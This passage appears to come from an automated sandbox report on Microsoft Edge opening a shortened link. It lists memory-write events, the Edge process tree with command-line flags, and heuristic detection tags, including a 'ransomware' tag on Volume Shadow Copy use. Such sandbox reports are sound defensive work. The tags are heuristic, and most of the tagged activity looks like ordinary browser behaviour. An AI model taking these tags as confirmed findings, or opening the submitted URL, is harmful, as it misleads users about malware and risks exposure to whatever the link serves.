PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 4784	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3628	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3628	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe
PID 684 wrote to memory of 3156	684	msedge.exe	msedge.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://ibf.tw/aaBGY
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffad02946f8,0x7ffad0294708,0x7ffad0294718
2⤵
PID:3664

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
2⤵
PID:4784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3628

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2852 /prefetch:8
2⤵
PID:3156

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
2⤵
PID:1808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
2⤵
PID:4460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:1
2⤵
PID:1948

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6044 /prefetch:8
2⤵
PID:2100

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6044 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3740

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
2⤵
PID:5040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1
2⤵
PID:4312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
2⤵
PID:1096

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6264 /prefetch:1
2⤵
PID:3188

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6284 /prefetch:1
2⤵
PID:3144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:1
2⤵
PID:2988

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1
2⤵
PID:3584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6664 /prefetch:1
2⤵
PID:1432

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6824 /prefetch:1
2⤵
PID:384

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7084 /prefetch:1
2⤵
PID:5236

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7436 /prefetch:1
2⤵
PID:5292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7692 /prefetch:1
2⤵
PID:5468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4016 /prefetch:1
2⤵
PID:5564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8196 /prefetch:1
2⤵
PID:5708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6672 /prefetch:1
2⤵
PID:5808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8052 /prefetch:1
2⤵
PID:5936

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8228 /prefetch:1
2⤵
PID:6140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7340 /prefetch:1
2⤵
PID:5124

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7140 /prefetch:1
2⤵
PID:1508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8720 /prefetch:1
2⤵
PID:5140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8996 /prefetch:1
2⤵
PID:6016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9256 /prefetch:1
2⤵
PID:5956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9404 /prefetch:1
2⤵
PID:6024

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9428 /prefetch:1
2⤵
PID:5972

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9892 /prefetch:1
2⤵
PID:6380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9968 /prefetch:1
2⤵
PID:6388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10080 /prefetch:1
2⤵
PID:6396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=10120 /prefetch:8
2⤵
PID:6536

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8012 /prefetch:1
2⤵
PID:6544

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11140 /prefetch:1
2⤵
PID:6772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11120 /prefetch:1
2⤵
PID:2924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8212 /prefetch:1
2⤵
PID:6908

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9400 /prefetch:1
2⤵
PID:7040

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
2⤵
PID:7144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7920 /prefetch:1
2⤵
PID:6160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7720 /prefetch:1
2⤵
PID:1576

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11052 /prefetch:1
2⤵
PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11288 /prefetch:1
2⤵
PID:5336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11444 /prefetch:1
2⤵
PID:7204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11572 /prefetch:1
2⤵
PID:7212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11580 /prefetch:1
2⤵
PID:7348

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11968 /prefetch:1
2⤵
PID:7420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12100 /prefetch:1
2⤵
PID:7468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12396 /prefetch:1
2⤵
PID:7612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12268 /prefetch:1
2⤵
PID:8032

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7724 /prefetch:1
2⤵
PID:5828

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=11804 /prefetch:8
2⤵
PID:6932

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=11636 /prefetch:8
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:6944

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11296 /prefetch:1
2⤵
PID:7336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11468 /prefetch:1
2⤵
PID:7160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
